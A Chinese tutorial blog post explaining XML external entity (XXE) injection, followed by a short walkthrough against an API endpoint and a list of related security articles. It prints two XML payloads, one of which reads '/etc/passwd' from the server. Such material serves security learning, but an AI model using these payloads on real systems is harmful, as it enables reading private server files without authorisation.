XXE 外部实体注入漏洞

简介: XXE 外部实体注入漏洞

XXE -"xml external entity injection"既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

实战

XXE漏洞挖掘

1.xml是什么可以查看https://www.w3school.com.cn/x.asp网站哈,里面写的很详细,全栈攻城狮必备网站,基础就不过多介绍了,因为实在太多了,一篇文章写不下。

2.直接实战如何挖掘,这里有一个api接口,随便提交点啥。没反应,哈哈习惯了,直接跳过哈。

image.png

3.构造一个payload,直接输入即可,发现可以执行

<?xml version = "1.0"?><!DOCTYPE note [<!ENTITY hacker "ESHLkangi">]><name>&hacker;</name>

image.png

4.再次构造一个payload来读取任意文件,可以直接读取成功。

<?xml version="1.0"  encoding="UTF-8"?><!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><name>&xxe;</name>

image.png

5.总结,各位如果想要搭建测试环境建议使用下面文章中的方法,其他方法试了很多都无法复现该漏洞。

相关文章
|
XML 存储 SQL
独立部署Xray反练平台——详细说明加举例xxe漏洞
xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:检测速度快。发包速度快; 漏洞检测算法高效。支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。高级可定制。通过配置文件暴露了引擎的各种参数,通过修改配置文件可以极大的客制化功能。安全无威胁。xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为无害化检查。
1377 0
独立部署Xray反练平台——详细说明加举例xxe漏洞
|
6天前
|
安全 关系型数据库 MySQL
Mysql注入 -- 联合注入
Mysql注入 -- 联合注入
19 0
|
6天前
|
关系型数据库 MySQL
Mysql注入 -- 注入类型
Mysql注入 -- 注入类型
18 1
|
5月前
|
Python
关于SSTI模块注入的常见绕过方法
关于SSTI模块注入的常见绕过方法
85 0
|
11月前
|
SQL 安全 Linux
Web安全——命令注入漏洞详解
Web安全——命令注入漏洞详解
418 0
|
XML SQL 安全
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(下)
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(下)
185 0
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(下)
|
XML JSON 安全
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)
190 0
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)
|
XML 安全 Java
网络安全-XXE(XML外部实体注入)原理、攻击及防御
网络安全-XXE(XML外部实体注入)原理、攻击及防御
353 0
网络安全-XXE(XML外部实体注入)原理、攻击及防御
|
XML 安全 API
XML实体扩展攻击必知必会
在Web开发中,Web安全可能对很多人来说是件遥远的事情。但不得不承认,安全一直都在我们身边,它与开发的过程是形影不离。 如果你公司的项目的应用需要使用到一些XML提交的数据,那么这篇文章很有必要看看。即使没有相关的项目,了解一下也无妨。 如果你做过微信支付的相关开发,你会发现在微信支付中我们需要向对应的服务器提交一段XML的数据。而曾经就出现过这样1件事情,如下图所示:
XML实体扩展攻击必知必会
|
SQL 数据库
SQL注入-联合注入
页面有显示位时 , 可用联合注入 本次以 SQLi 第一关为案例
126 0
SQL注入-联合注入